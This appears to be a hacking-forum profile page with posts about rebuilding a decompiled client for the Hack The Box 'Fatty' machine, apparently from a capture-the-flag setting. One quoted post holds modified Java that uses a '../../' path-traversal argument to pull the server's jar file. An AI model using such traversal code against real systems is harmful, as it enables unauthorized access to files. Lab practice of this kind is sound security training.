an0n

get rid of org.* from sources, let maven download all of them from official sites. this worked for me.

About

Username
an0n
Joined
Visits
10
Last Active
Roles
Member

Activity

  • get rid of org.* from sources, let maven download all of them from official sites. this worked for me.

    April 1
  • Hackalicious

    saved the file / Created a new folder and and inside of that folder created two additional folders "src" and "resources"

    I placed pom.xml in root of new folder

    I placed the following in "resources" : META-INF , beans.xml, exit.png, fatty.p12, log4j,properties, module-info.java, spring-beans-3.0.xsd

    I placed the following in "src" : decompiled htb folder

    I have run the following commands:

    • mvn package

    • mvn org.apache.maven.plugins:maven-jar-plugin:jar package

    • mvn org.apache.maven.plugins:maven-jar-plugin:jar

    All give me errors. What am I doing wrong? Thank you in advance.

    April 1
  • Hackalicious

    I must be missing something.

    I decompiled fatty-client using jd-gui | modified invoke.java with the following:

    /* 129 / this.action = new ActionMessage(this.sessionID, "open");
    /
    130 / this.action.addArgument("../../");
    /
    131 / this.action.addArgument("fatty-server");
    /
    132 / sendAndRecv();
    /
    133 / if (this.response.hasError()) {
    /
    134 / return "Error: Your action caused an error on the application server!";
    /
    / }
    /
    136 / String response = "";
    /
    / try {
    /
    138 / FileOutputStream fos = new FileOutputStream("test.jar");
    /
    / fos.write(this.response.getContent());
    /
    / fos.close();
    /
    139 / } catch (Exception e) {
    /
    140 / response = "Unable to convert byte[] to String. Did you read in a binary file?";
    /
    / }
    /
    142 / return response;
    /
    */ }

    April 1
Avatar

Howdy, Stranger!

Click here to create an account.